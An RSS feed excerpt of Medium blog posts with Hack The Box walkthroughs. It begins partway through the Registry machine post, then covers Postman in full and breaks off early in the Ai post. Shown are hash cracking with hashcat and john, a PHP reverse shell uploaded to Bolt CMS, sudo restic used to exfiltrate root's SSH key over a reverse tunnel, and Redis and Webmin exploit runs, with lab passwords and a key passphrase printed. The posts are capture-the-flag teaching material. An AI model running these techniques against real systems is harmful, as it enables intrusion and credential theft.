&#39;Dir::Cache::pkgcache \\\&quot;\\\&quot;; Dir::Cache::srcpkgcache \\\&quot;\\\&quot;;&#39; \\u003e\\u003e /etc/apt/apt.conf.d/docker-clean \\t\\t\\u0026\\u0026 echo &#39;Acquire::Languages \\\&quot;none\\\&quot;;&#39; \\u003e /etc/apt/apt.conf.d/docker-no-languages \\t\\t\\u0026\\u0026 echo &#39;Acquire::GzipIndexes \\\&quot;true\\\&quot;; Acquire::CompressionTypes::Order:: \\\&quot;gz\\\&quot;;&#39; \\u003e /etc/apt/apt.conf.d/docker-gzip-indexes \\t\\t\\u0026\\u0026 echo &#39;Apt::AutoRemove::SuggestsImportant \\\&quot;false\\\&quot;;&#39; \\u003e /etc/apt/apt.conf.d/docker-autoremove-suggests\&quot;]}}&quot;<br>      },<br>      {<br>         &quot;v1Compatibility&quot;: &quot;{\&quot;id\&quot;:\&quot;f4a833e38a779e09219325dfef9e5063c291a325cad7141bcdb4798ed68c675c\&quot;,\&quot;created\&quot;:\&quot;2019-04-26T22:21:02.724843678Z\&quot;,\&quot;container_config\&quot;:{\&quot;Cmd\&quot;:[\&quot;/bin/sh -c #(nop) ADD file:7ce84f13f11609a50ece7823578159412e2299c812746d1d1f1ed5db0728bd37 in / \&quot;]}}&quot;<br>      }<br>   ],<br>   &quot;signatures&quot;: [<br>      {<br>         &quot;header&quot;: {<br>            &quot;jwk&quot;: {<br>               &quot;crv&quot;: &quot;P-256&quot;,<br>               &quot;kid&quot;: &quot;ALOI:JLVJ:3XQC:T2VF:SQVH:LE3I:YJYN:H3OJ:GT7S:LNAB:BBU3:UC4M&quot;,<br>               &quot;kty&quot;: &quot;EC&quot;,<br>               &quot;x&quot;: &quot;5o_7awvzxaf6t5cYSQYP3vehUpe0BMCIrM7UDVyQ-BQ&quot;,<br>               &quot;y&quot;: &quot;6Txcud04vF50ghQa5iao5xxe0uWhfLgWLZPS_8bOWFo&quot;<br>            },<br>            &quot;alg&quot;: &quot;ES256&quot;<br>         },<br>         &quot;signature&quot;: &quot;-Iza3I5GAI3MjKuFDJaYmuvhultftqC9XDDPRRs3iC8_fZyntmVq09hGj0Fzbn5YY4mgqAFGPu3XYDrWJtudXA&quot;,<br>         &quot;protected&quot;: &quot;eyJmb3JtYXRMZW5ndGgiOjY3OTIsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAxOS0xMS0yMlQxNDoyOToxN1oifQ&quot;<br>      }<br>   ]<br>}</pre><p>Once we have a list of blobs, we can download each blob using the endpoint:<br> v2//blobs/sha256:/.</p><p>Lets take a blob and download</p><p><a href="http://docker.registry.htb/v2/bolt-image/blobs/sha256:302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b">http://docker.registry.htb/v2/bolt-image/blobs/sha256:302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b</a></p><p>After downloading this blobs, you will find that its gzip compressed data with file command and you have to just rename it with .gz extension and do unzip with gunzip command. after doing this with some blobs, you will get some dir which have a id_rsa and a config file inside root directory. in config file you will get that this id_rsa is not for root but it is for user bolt. So now we will take ssh with id_rsa.</p><p>But before that you have to give 600 permission to id_rsa.</p><pre>command: ssh -i id_rsa bolt@10.10.10.159</pre><p>This will ask you for id_rsa passphrase which you can get from first blob.</p><p>passphrase: GkOcz221Ftb3ugog</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*GVXfbtyHX2f50giUCF-q8A.png" /></figure><p>Now we can read user.txt</p><pre>bolt@bolt:/$ cat /home/bolt/user.txt <br>ytc0ytdmn******ngi0zte0otm3ywzi</pre><p>Let’s enumerate machine for privilege escalation.</p><p>After a while, i found a file backup.php which is having restic command running as root with sudo and it has a directory bolt also which i don’t get from dirsearch. let’s see what is that.</p><p>And we need to become www-data to exploit restic command as sudo because www-data user have sudo rights on restic command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*1qqYYQd9MFHcP4ZEwkG0Jw.png" /></figure><pre><a href="http://10.10.10.159/bolt">https://10.10.10.159/bolt</a></pre><p>when i visisted there i got nothing, so i ran dirsearch again on bolt directory for finding interesting directories accessible from web.</p><pre>_|. _ _  _  _  _ _|_    v0.3.8<br>(_||| _) (/_(_|| (_| )</pre><pre>Extensions: backdoor.php | HTTP method: get | Threads: 10 | Wordlist size: 6086</pre><pre>Error Log: /opt/dirsearch/logs/errors-19-12-02_04-58-28.log</pre><pre>Target: <a href="https://10.10.10.159/bolt">https://10.10.10.159/bolt</a></pre><pre>[04:58:29] Starting: <br>[04:58:33] 301 -  194B  - /bolt/.git  -&gt;  <a href="https://10.10.10.159/bolt/.git/">https://10.10.10.159/bolt/.git/</a><br>[04:58:33] 403 -  580B  - /bolt/.git/<br>[04:58:33] 403 -  580B  - /bolt/.git/branches/<br>[04:58:33] 200 -  251B  - /bolt/.git/config<br>[04:58:33] 200 -   41B  - /bolt/.git/HEAD<br>[04:58:33] 200 -   73B  - /bolt/.git/description<br>[04:58:33] 403 -  580B  - /bolt/.git/hooks/<br>[04:58:33] 403 -  580B  - /bolt/.git/logs/<br>[04:58:33] 200 -  309B  - /bolt/.git/logs/HEAD<br>[04:58:33] 403 -  580B  - /bolt/.git/info/<br>[04:58:33] 200 -  240B  - /bolt/.git/info/exclude<br>[04:58:33] 301 -  194B  - /bolt/.git/logs/refs  -&gt;  <a href="https://10.10.10.159/bolt/.git/logs/refs/">https://10.10.10.159/bolt/.git/logs/refs/</a><br>[04:58:33] 301 -  194B  - /bolt/.git/logs/refs/heads  -&gt;  <a href="https://10.10.10.159/bolt/.git/logs/refs/heads/">https://10.10.10.159/bolt/.git/logs/refs/heads/</a><br>[04:58:33] 301 -  194B  - /bolt/.git/logs/refs/remotes/origin  -&gt;  <a href="https://10.10.10.159/bolt/.git/logs/refs/remotes/origin/">https://10.10.10.159/bolt/.git/logs/refs/remotes/origin/</a><br>[04:58:33] 301 -  194B  - /bolt/.git/logs/refs/remotes  -&gt;  <a href="https://10.10.10.159/bolt/.git/logs/refs/remotes/">https://10.10.10.159/bolt/.git/logs/refs/remotes/</a><br>[04:58:33] 200 -   12KB - /bolt/.git/packed-refs<br>[04:58:33] 200 -  159B  - /bolt/.git/logs/refs/remotes/origin/HEAD<br>[04:58:33] 403 -  580B  - /bolt/.git/objects/<br>[04:58:33] 403 -  580B  - /bolt/.git/refs/<br>[04:58:33] 301 -  194B  - /bolt/.git/refs/heads  -&gt;  <a href="https://10.10.10.159/bolt/.git/refs/heads/">https://10.10.10.159/bolt/.git/refs/heads/</a><br>[04:58:33] 301 -  194B  - /bolt/.git/refs/remotes  -&gt;  <a href="https://10.10.10.159/bolt/.git/refs/remotes/">https://10.10.10.159/bolt/.git/refs/remotes/</a><br>[04:58:33] 301 -  194B  - /bolt/.git/refs/remotes/origin  -&gt;  <a href="https://10.10.10.159/bolt/.git/refs/remotes/origin/">https://10.10.10.159/bolt/.git/refs/remotes/origin/</a><br>[04:58:33] 200 -   29B  - /bolt/.git/refs/remotes/origin/HEAD<br>[04:58:33] 301 -  194B  - /bolt/.git/refs/tags  -&gt;  <a href="https://10.10.10.159/bolt/.git/refs/tags/">https://10.10.10.159/bolt/.git/refs/tags/</a><br>[04:58:33] 200 -  967B  - /bolt/.gitattributes<br>[04:58:33] 200 -  854B  - /bolt/.gitignore<br>[04:58:34] 200 -  276KB - /bolt/.git/index<br>[04:58:34] 403 -  580B  - /bolt/.ht_wsr.txt<br>[04:58:34] 403 -  580B  - /bolt/.htaccess-local<br>[04:58:34] 403 -  580B  - /bolt/.htaccess-dev<br>[04:58:34] 403 -  580B  - /bolt/.htaccess-marco<br>[04:58:34] 403 -  580B  - /bolt/.hta<br>[04:58:34] 403 -  580B  - /bolt/.htaccess.BAK<br>[04:58:34] 403 -  580B  - /bolt/.htaccess.bak1<br>[04:58:34] 403 -  580B  - /bolt/.htaccess.old<br>[04:58:34] 403 -  580B  - /bolt/.htaccess_orig<br>[04:58:34] 403 -  580B  - /bolt/.htaccess.save<br>[04:58:34] 403 -  580B  - /bolt/.htaccess.txt<br>[04:58:34] 403 -  580B  - /bolt/.htaccess_extra<br>[04:58:34] 403 -  580B  - /bolt/.htaccess.sample<br>[04:58:34] 403 -  580B  - /bolt/.htaccess_sc<br>[04:58:34] 403 -  580B  - /bolt/.htaccess.orig<br>[04:58:34] 403 -  580B  - /bolt/.htaccessBAK<br>[04:58:34] 403 -  580B  - /bolt/.htaccessOLD<br>[04:58:34] 403 -  580B  - /bolt/.htaccessOLD2<br>[04:58:34] 403 -  580B  - /bolt/.htaccess~<br>[04:58:34] 403 -  580B  - /bolt/.htgroup<br>[04:58:34] 403 -  580B  - /bolt/.htpasswd-old<br>[04:58:34] 403 -  580B  - /bolt/.htpasswd_test<br>[04:58:34] 403 -  580B  - /bolt/.htpasswds<br>[04:58:34] 403 -  580B  - /bolt/.htusers<br>[04:58:38] 200 -    1KB - /bolt/.scrutinizer.yml<br>[04:58:39] 200 -    1KB - /bolt/.travis.yml<br>[04:58:48] 403 -  580B  - /bolt/admin/.htaccess<br>[04:58:58] 403 -  580B  - /bolt/administrator/.htaccess<br>[04:59:04] 301 -  194B  - /bolt/app  -&gt;  <a href="https://10.10.10.159/bolt/app/">https://10.10.10.159/bolt/app/</a><br>[04:59:04] 403 -  580B  - /bolt/app/.htaccess<br>[04:59:04] 301 -  194B  - /bolt/app/src  -&gt;  <a href="https://10.10.10.159/bolt/app/src/">https://10.10.10.159/bolt/app/src/</a><br>[04:59:14] 200 -  197KB - /bolt/changelog.md<br>[04:59:15] 200 -  296B  - /bolt/codeception.yml<br>[04:59:15] 200 -    4KB - /bolt/composer.json<br>[04:59:16] 200 -  288KB - /bolt/composer.lock<br>[04:59:17] 200 -  340B  - /bolt/CONTRIBUTING.md<br>[04:59:26] 301 -  194B  - /bolt/files  -&gt;  <a href="https://10.10.10.159/bolt/files/">https://10.10.10.159/bolt/files/</a><br>[04:59:26] 403 -  580B  - /bolt/files/<br>[04:59:32] 200 -    8KB - /bolt/index.php<br>[04:59:56] 200 -    3KB - /bolt/phpunit.xml.dist<br>[05:00:01] 200 -    2KB - /bolt/README.md<br>[05:00:11] 301 -  194B  - /bolt/src  -&gt;  <a href="https://10.10.10.159/bolt/src/">https://10.10.10.159/bolt/src/</a><br>[05:00:17] 301 -  194B  - /bolt/tests  -&gt;  <a href="https://10.10.10.159/bolt/tests/">https://10.10.10.159/bolt/tests/</a><br>[05:00:17] 403 -  580B  - /bolt/tests/<br>[05:00:17] 301 -  194B  - /bolt/theme  -&gt;  <a href="https://10.10.10.159/bolt/theme/">https://10.10.10.159/bolt/theme/</a><br>[05:00:23] 200 -    0B  - /bolt/vendor/composer/autoload_files.php<br>[05:00:23] 200 -    0B  - /bolt/vendor/composer/autoload_classmap.php<br>[05:00:23] 200 -    0B  - /bolt/vendor/composer/autoload_psr4.php<br>[05:00:23] 200 -    0B  - /bolt/vendor/composer/autoload_namespaces.php<br>[05:00:23] 200 -    0B  - /bolt/vendor/autoload.php<br>[05:00:23] 200 -    0B  - /bolt/vendor/composer/autoload_static.php<br>[05:00:23] 200 -    0B  - /bolt/vendor/composer/ClassLoader.php<br>[05:00:23] 200 -    1KB - /bolt/vendor/composer/LICENSE<br>[05:00:23] 200 -    0B  - /bolt/vendor/composer/autoload_real.php<br>[05:00:24] 200 -  267KB - /bolt/vendor/composer/installed.json</pre><pre>Task Completed</pre><p>As we can see in the given output that we got again /bolt directory after using /bolt. Let’s visit /bolt inside/bolt.</p><p>Here we go, we got a login page but we do not have credentials, so let’s move back to the shell and find our credentials for bolt cms login.</p><p>i forgot to tell you two thing about this machine previously. so first is that bolt is a CMS and other is we can not transfer files between machine shell to our local-host because it has applied some iptables rules. you can check iptables.conf for it.</p><p>So after roaming files and directories in shell, i found database of bolt here in /var/www/html/bolt/app/database/bolt.db, you can get admin hash here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YevbNXoDkdYslCsWNNOYhw.png" /></figure><pre>Hash: $2y$10$e.ChUytg9SrL7AsboF2bX.wWKQ1LkS5Fi3/Z0yYD86.P5E9cpY7PK</pre><p>Hash type: bcrypt ( found with hash analyzer)</p><p>Let’s crack this hash, you can see the command and their output below:</p><pre>root@kali:~/htb/registry/new# hashcat -a 0 -m 3200 hash1.txt /usr/share/wordlists/rockyou.txt<br>hashcat (v5.1.0) starting...</pre><pre>* Device #1: WARNING! Kernel exec timeout is not disabled.<br>             This may cause &quot;CL_OUT_OF_RESOURCES&quot; or related errors.<br>             To disable the timeout, see: <a href="https://hashcat.net/q/timeoutpatch">https://hashcat.net/q/timeoutpatch</a><br>* Device #2: Not a native Intel OpenCL runtime. Expect massive speed loss.<br>             You can use --force to override, but do not report related errors.<br>nvmlDeviceGetFanSpeed(): Not Supported</pre><pre>OpenCL Platform #1: NVIDIA Corporation<br>======================================<br>* Device #1: GeForce GTX 1050 Ti, 1010/4040 MB allocatable, 6MCU</pre><pre>OpenCL Platform #2: The pocl project<br>====================================<br>* Device #2: pthread-Intel(R) Core(TM) i5-8300H CPU @ 2.30GHz, skipped.</pre><pre>Hashes: 1 digests; 1 unique digests, 1 unique salts<br>Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates<br>Rules: 1</pre><pre>Applicable optimizers:<br>* Zero-Byte<br>* Single-Hash<br>* Single-Salt</pre><pre>Minimum password length supported by kernel: 0<br>Maximum password length supported by kernel: 72</pre><pre>Watchdog: Temperature abort trigger set to 90c</pre><pre>* Device #1: build_opts &#39;-cl-std=CL1.2 -I OpenCL -I /usr/share/hashcat/OpenCL -D LOCAL_MEM_TYPE=1 -D VENDOR_ID=32 -D CUDA_ARCH=601 -D AMD_ROCM=0 -D VECT_SIZE=1 -D DEVICE_TYPE=4 -D DGST_R0=0 -D DGST_R1=1 -D DGST_R2=2 -D DGST_R3=3 -D DGST_ELEM=6 -D KERN_TYPE=3200 -D _unroll&#39;<br>Dictionary cache hit:<br>* Filename..: /usr/share/wordlists/rockyou.txt<br>* Passwords.: 14344385<br>* Bytes.....: 139921507<br>* Keyspace..: 14344385</pre><pre>$2y$10$e.ChUytg9SrL7AsboF2bX.wWKQ1LkS5Fi3/Z0yYD86.P5E9cpY7PK:<strong>strawberry</strong><br>                                                 <br>Session..........: hashcat<br>Status...........: Cracked<br>Hash.Type........: bcrypt $2*$, Blowfish (Unix)<br>Hash.Target......: $2y$10$e.ChUytg9SrL7AsboF2bX.wWKQ1LkS5Fi3/Z0yYD86.P...cpY7PK<br>Time.Started.....: Mon Dec  2 05:18:53 2019 (3 secs)<br>Time.Estimated...: Mon Dec  2 05:18:56 2019 (0 secs)<br>Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)<br>Guess.Queue......: 1/1 (100.00%)<br>Speed.#1.........:      134 H/s (5.56ms) @ Accel:8 Loops:2 Thr:8 Vec:1<br>Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts<br>Progress.........: 384/14344385 (0.00%)<br>Rejected.........: 0/384 (0.00%)<br>Restore.Point....: 0/14344385 (0.00%)<br>Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:1022-1024<br>Candidates.#1....: 123456 -&gt; michael1<br>Hardware.Mon.#1..: Temp: 53c Util:100% Core:1733MHz Mem:3504MHz Bus:16</pre><pre>Started: Mon Dec  2 05:18:47 2019<br>Stopped: Mon Dec  2 05:18:57 2019</pre><p>Hash is cracked, you can see password highlighted next to hash.</p><p>password: <strong>strawberry, </strong>user: admin</p><p>Let’s move back to login page and log in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qWflHcXDF1N_pHslzZ464A.png" /></figure><p>You can upload files in file management section but before that you’ll have to allow php extension inside config file which you can get in configuration &gt; main configuration &gt; config.yml. so go down where extension are allowed and add php extension.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tjt0vxX1Hfu6dTUwOX5JJw.png" /></figure><p>and click on save button then you’ll be able to upload your reverse shell but before that you need to be remember a thing that machine has firwall rules, so machine will not send reverse connection back to our local machine so here we can make connection with our machine, soi added 127.0.0.1 and port in shell and upload it. because we can not make connection between us but we can send request as www-data to his local-host.</p><p>if you’re still not getting then see screenshots below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/570/1*w9q26BJo-jZHl_Awk0wRHw.png" /></figure><p>now the files is uploaded on web, go back to bolt shell and open nc listner on port which you gave in your shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SZKrzfY7Q0b2vBQzO6yevg.png" /></figure><p>and we became www-data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sjXnLW0h4q-SUu9kmxvxgA.png" /></figure><p>Now for root, first we have to understand what restic command do. you can read documenatiton.</p><p>basically restic command is used for creating backup in repo and restoring and as we can see this restic command is using rest which is not mentioned in documentation. its using rest server for creating backup remotely.</p><p>So we first need to start a server using rest server and for this you have to download rest-server from github</p><pre><a href="https://github.com/restic/rest-server">https://github.com/restic/rest-server</a></pre><p>download it and setup in your local machine or in attacker machine.</p><p>now run this commands to create repo where we can take backup from remote machine.</p><pre>restic init --repo /tmp/registry</pre><p>init — initialize a new repo</p><p>Enter password for repo.</p><pre>rest-server --path /tmp/registry --no-auth</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/617/1*DOm0AGpIea_ARnJmeEyRiw.png" /></figure><p>Our server is started on port 8000</p><p>Now we have to create a backup of root/.ssh/id_rsa to our rest-server. but before we have to forward our localhost to vulnerable machine bcoz we can not make connection with machine.</p><pre>ssh -R 1234:localhost:8000 -i id_rsa bolt@10.10.10.159</pre><p>id_rsa — bolt user id_rsa.</p><p>Run below commands in vulnerable machine:</p><pre>sudo /usr/bin/restic backup -r rest:http://localhost:1234/ /root/.ssh/id_rsa</pre><pre>enter password for repository:</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_qT--tq1Dta01s-WzqiVbw.png" /></figure><p>It seems backup is created successfully. Come back to our localhost and see backup inside repo with restic.</p><pre>restic list blobs -r /tmp/registry</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*-3Kf3BqQO82TfPH1Wu2uJw.png" /></figure><pre>restic cat blob -r /tmp/registry d29e792ef533ec3c04ac8df14d79d0376f8981cb83fac629a93c774facb19d7d</pre><pre>enter password:</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bW63hotMIVxpU33mvfe8Qw.png" /></figure><p>we got root id_rsa copy this id_rsa and give 600 permission to it and take ssh with user root.</p><pre>ssh -i rootid_rsa root@10.10.10.159</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*qeAfVsyFs4_DjM3eTqSlhA.png" /></figure><p>ROOTED!!….</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cadca87d8a47" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Postman — HTB — hardeepsinghsandhu537]]></title>
            <link>https://medium.com/@hardeepsinghsandhu537/postman-htb-hardeepsinghsandhu537-47c73185df80?source=rss-3692c89b1d0d------2</link>
            <guid isPermaLink="false">https://medium.com/p/47c73185df80</guid>
            <dc:creator><![CDATA[Hardeep Singh Sandhu]]></dc:creator>
            <pubDate>Sat, 14 Mar 2020 17:11:38 GMT</pubDate>
            <atom:updated>2020-03-14T17:11:38.315Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/398/1*Uc_svB4A__nmwRJS__xWnA.png" /></figure><p>Machine ip — 10.10.10.160</p><p>Level — Medium</p><p>Nmap Scan of Machine :</p><pre># Nmap 7.80 scan initiated Fri Nov  8 05:34:08 2019 as: nmap -v -sV -A -p- -oN nmap 10.10.10.160<br>Increasing send delay for 10.10.10.160 from 0 to 5 due to 667 out of 2222 dropped probes since last increase.<br>Nmap scan report for 10.10.10.160<br>Host is up (0.21s latency).<br>Not shown: 65531 closed ports<br>PORT      STATE SERVICE    VERSION<br>22/tcp    open  ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)<br>|   256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)<br>|_  256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)<br>80/tcp    open  http       Apache httpd 2.4.29 ((Ubuntu))<br>|_http-favicon: Unknown favicon MD5: E234E3E8040EFB1ACD7028330A956EBF<br>| http-methods: <br>|_  Supported Methods: HEAD GET POST OPTIONS<br>|_http-server-header: Apache/2.4.29 (Ubuntu)<br>|_http-title: The Cyber Geek&#39;s Personal Website<br>6379/tcp  open  redis      Redis key-value store 4.0.9<br>10000/tcp open  http    MiniServ 1.910 (Webmin httpd)<br>No exact OS matches for host (If you know what OS is running on it, see <a href="https://nmap.org/submit/">https://nmap.org/submit/</a> ).<br>TCP/IP fingerprint:<br>OS:SCAN(V=7.80%E=4%D=11/8%OT=22%CT=1%CU=35469%PV=Y%DS=2%DC=T%G=Y%TM=5DC5057<br>OS:2%P=x86_64-pc-linux-gnu)SEQ(TI=Z%CI=Z%II=I%TS=A)SEQ(SP=105%GCD=1%ISR=10B<br>OS:%TI=Z%CI=Z%II=I%TS=9)SEQ(SP=105%GCD=1%ISR=10B%TI=Z%CI=Z%TS=8)OPS(O1=M54D<br>OS:ST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=<br>OS:M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=<br>OS:Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q<br>OS:=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%<br>OS:T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD<br>OS:=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL<br>OS:=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)</pre><pre>Uptime guess: 4.527 days (since Sun Nov  3 17:25:07 2019)<br>Network Distance: 2 hops<br>TCP Sequence Prediction: Difficulty=261 (Good luck!)<br>IP ID Sequence Generation: All zeros<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><pre>TRACEROUTE (using port 53/tcp)<br>HOP RTT       ADDRESS<br>1   195.02 ms 10.10.14.1<br>2   195.37 ms 10.10.10.160</pre><pre>Read data files from: /usr/bin/../share/nmap<br>OS and Service detection performed. Please report any incorrect results at <a href="https://nmap.org/submit/">https://nmap.org/submit/</a> .<br># Nmap done at Fri Nov  8 06:04:34 2019 -- 1 IP address (1 host up) scanned in 1826.00 seconds.</pre><p>Now we have some ports lets visit one by one and see what is there.</p><p>The cyber geek personal website is running on port 80 and i didnt get anything interesting, So lets move on another ports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DZx-KXCozsl9P0C3Ley3bQ.png" /></figure><p>And webmin login page is running on port 10000 which requires https or ssl.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/415/1*ywY1ELmKUOP_FBHDopM8Sg.png" /></figure><p>There is a new redis service which i had never seen before, so i googled about this service and found a exploit on github.</p><p>Exploit link:</p><pre><a href="https://github.com/Avinash-acid/Redis-Server-Exploit">https://github.com/Avinash-acid/Redis-Server-Exploit</a></pre><p>But this python script requires a username and ip and we dont have username so we will do guess about username and we do have ip of remote host.</p><p>I guessed some username like postman, root, admin, and some others but in last i found actual username which is <strong>redis </strong>and the fact is that service name is also redis, so always try service name as user.</p><p>command :</p><pre>python redis.py 10.10.10.160 redis</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k0rtnMoIa4Be_Fguk1elNw.png" /></figure><p>we got shell of redis user but the script is a bit annoying for me, i got that shell after 4–5 try’s.</p><p>There is a another user <strong>Matt</strong>, we can go into Matt user home dir but we cant read user.txt and in home dir of redis, i found a .bash_history file which has some bash commands which has been used previously.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/1*bymoOy6VeerXdqGv5rW8jw.png" /></figure><p>It has a id_rsa.bak inside /opt, and it might be id_rsa of user Matt. lets try.</p><p>we may crack id_rsa with <strong>ssh2john </strong>and<strong> johntheripper. </strong>copy id_rsa into your localhost and do run below commands:</p><pre>/usr/share/john/ssh2john.py id_rsa &gt; hash<br>john hash --wordlist=/usr/share/wordlists/rockyou.txt</pre><pre>password - computer2008</pre><p>Our password is cracked successfully, we can switch user redis to Matt bcoz we have password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*PD1cRgZiPWuF-n9j4rtYzw.png" /></figure><pre>cat user.txt<br>517ad0e****ca97af8d93aac0**</pre><p>Privilege Escalation :</p><p>After enumerating a while, i found that webmin is owned by root. so we might get root from webmin and thereafter i found a exploit for webmin 1.910 (exploit/linux/http/webmin_packageup_rce) on metasploit.</p><p>This script requires username and password so we will use Matt user and their password.</p><p>commands:</p><pre>msfconsole</pre><pre>search webmin</pre><pre>use exploit/linux/http/webmin_packageup_rce</pre><pre>show options</pre><pre>set password computer2008<br>set username Matt<br>set rhosts 10.10.10.160<br>set ssl true<br>set lhost tun0ip<br>exploit</pre><p>tun0ip — your tun0 interface ip.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/1*mVsW0t3zuLsUB91ZmAc4Mw.png" /></figure><p>Machine got Rooted successfully!!!</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=47c73185df80" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ai — HTB — hardeepsinghsandhu537]]></title>
            <link>https://medium.com/@hardeepsinghsandhu537/ai-htb-hardeepsinghsandhu537-210807b5b9ef?source=rss-3692c89b1d0d------2</link>
            <guid isPermaLink="false">https://medium.com/p/210807b5b9ef</guid>
            <dc:creator><![CDATA[Hardeep Singh Sandhu]]></dc:creator>
            <pubDate>Sat, 25 Jan 2020 15:40:21 GMT</pubDate>
            <atom:updated>2020-01-25T15:40:21.649Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/338/1*nfgOUy9oBxlcRbMOa_vtJg.png" /></figure><p>Machine IP: 10.10.10.163</p><p>Level: Medium</p><p>Nmap Scan:</p><pre>root@kali:~/htb/ai# nmap -v -sV -A -p22,80 10.10.10.163<br>Starting Nmap 7.80 ( <a href="https://nmap.org/">https://nmap.org</a> ) at 2019-12-05 10:47 GMT<br>NSE: Loaded 151 scripts for scanning.<br>NSE: Script Pre-scanning.<br>Initiating NSE at 10:47<br>Completed NSE at 10:47, 0.00s elapsed<br>Initiating NSE at 10:47<br>Completed NSE at 10:47, 0.00s elapsed<br>Initiating NSE at 10:47<br>Completed NSE at 10:47, 0.00s elapsed<br>Initiating Ping Scan at 10:47<br>Scanning 10.10.10.163 [4 ports]<br>Completed Ping Scan at 10:47, 0.26s elapsed (1 total hosts)<br>Initiating Parallel DNS resolution of 1 host. at 10:47<br>Completed Parallel DNS resolution of 1 host. at 10:47, 0.03s elapsed<br>Initiating SYN Stealth Scan at 10:47<br>Scanning 10.10.10.163 [2 ports]<br>Discovered open port 80/tcp on 10.10.10.163<br>Completed SYN Stealth Scan at 10:47, 2.83s elapsed (2 total ports)<br>Initiating Service scan at 10:47<br>Scanning 1 service on 10.10.10.163<br>Completed Service scan at 10:47, 6.51s elapsed (1 service on 1 host)<br>Initiating OS detection (try #1) against 10.10.10.163<br>Retrying OS detection (try #2) against 10.10.10.163<br>Initiating Traceroute at 10:47<br>Completed Traceroute at 10:47, 0.15s elapsed<br>Initiating Parallel DNS resolution of 2 hosts. at 10:47<br>Completed Parallel DNS resolution of 2 hosts. at 10:47, 0.02s elapsed<br>NSE: Script scanning 10.10.10.163.<br>Initiating NSE at 10:47<br>Completed NSE at 10:48, 12.61s elapsed<br>Initiating NSE at 10:48<br>Completed NSE at 10:48, 2.41s elapsed<br>Initiating NSE at 10:48<br>Completed NSE at 10:48, 0.00s elapsed<br>Nmap scan report for 10.10.10.163<br>Host is up (0.15s latency).</pre><pre>PORT   STATE    SERVICE VERSION<br>22/tcp filtered ssh<br>80/tcp open     http    Apache httpd 2.4.29 ((Ubuntu))<br>| http-methods: <br>|_  Supported Methods: GET POST OPTIONS<br>|_http-server-header: Apache/2.4.29 (Ubuntu)<br>|_http-title: Hello AI!<br>Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port<br>Aggressive OS guesses: Linux 2.6.32 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.11 (92%)<br>No exact OS 